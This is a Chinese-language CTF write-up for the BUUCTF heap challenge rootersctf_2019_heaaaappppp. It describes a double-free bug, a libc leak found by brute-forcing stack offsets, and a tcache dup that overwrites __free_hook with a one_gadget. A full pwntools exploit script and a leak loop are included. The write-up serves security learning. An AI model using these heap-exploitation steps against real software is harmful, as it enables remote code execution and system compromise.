BUU-rootersctf_2019_heaaaappppp-WP

Posted on Mar 17, 2021

此题的起名吸引了我去做它。题目不难,不过之前从来没有做过 Tcache dup 类的利用,也算是学习了新知识(考虑到这和 fastbin double free 相比除了简单不少之外没有什么区别,其实还是只做了一道水题)。题目有给我一定的困扰,也有考虑放弃去找 WP,但是没找到,就只能自己做了,结果做了出来。这个故事我觉得以后做题还是要更加坚持。

漏洞很明显 deleteUser 函数中有 double free,环境是 18.04 的,所以用 Tcache dup 就可以实现任意地址写了。那么难点就在 leak 上

考虑到这里有 puts,而 read 做完 Linux 的函数,不遵守在末尾补 '\x00' 的规则,所以很有可能可以 leak 出一些信息,在本地调试也是可以随便 leak,但是打远程的时候死活 leak 不出来,这个时候我没有什么办法,就想看看别人怎么做了,结果没人写 WP,那没办法,只能自己思考了。于是我爆破了一下靶机的栈空间,大概就是这样一个脚本

for i in range(15)
    sh = remote("node3.buuoj.cn",27462
    payload = 'a' * (7 + 8 * i) + '-'
    sendMessage(payload)
    sh.recvuntil("a-")
    leaked_addr = u64(sh.recv(6).ljust(8,'\x00'))
    log.success(str(i) + "#leaked_addr:" + hex(leaked_addr))
    sh.close()

尝试多次后

发现 i=12 时, leak 出的地址有时候会是图中的值,且满足低 12 位恒定,高位的值也很像 libc 段中的,遂以 buu 的 libc 为 LD_PRELOAD gdb 调试一波,发现是 puts + 418 的地址,于是就可以 leak 出 libc 基地址了。

然后通过 Tcache dup 在 Tcache 中布置两个相同的 bin,利用 sendMessage 函数中的 strdup 实现改写 Tcache chunk 的 next 指针,就可以分配堆到各种钩子函数上了,写入 one_gadet 就可以 getshell 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

#sh = process("./rootersctf_2019_heaaaappppp")
libc = ELF("./libcs/libc-2.27-buu.so")

def create(payload):
    sh.sendlineafter("choice: ",'0')
    sh.sendlineafter("user: ",'0')
    sh.sendafter("username: ",payload)

def edit(payload):
    sh.sendlineafter("choice: ",'1')
    sh.sendlineafter("user: ",'0')
    sh.sendafter("username: ",payload)

def delete():
    sh.sendlineafter("choice: ",'2')

def sendMessage(payload):
    sh.sendlineafter("choice: ",'3')
    sh.sendafter("sent: \n",payload)

sh = remote("node3.buuoj.cn",27462)

payload = 'a' * (7 + 8 * 12) + '-'
sendMessage(payload)
sh.recvuntil("a-")
leaked_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success(str(12) + "#leaked_addr:" + hex(leaked_addr))
libc_base = leaked_addr - libc.symbols["puts"] - 418
log.success("libc_base:" + hex(libc_base))
free_hook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
one_gadget = libc_base + 0x4f322

create('\n')
delete()
delete()
sendMessage(p64(free_hook_addr))
sendMessage("pass")
sendMessage(p64(one_gadget))
delete()

sh.interactive()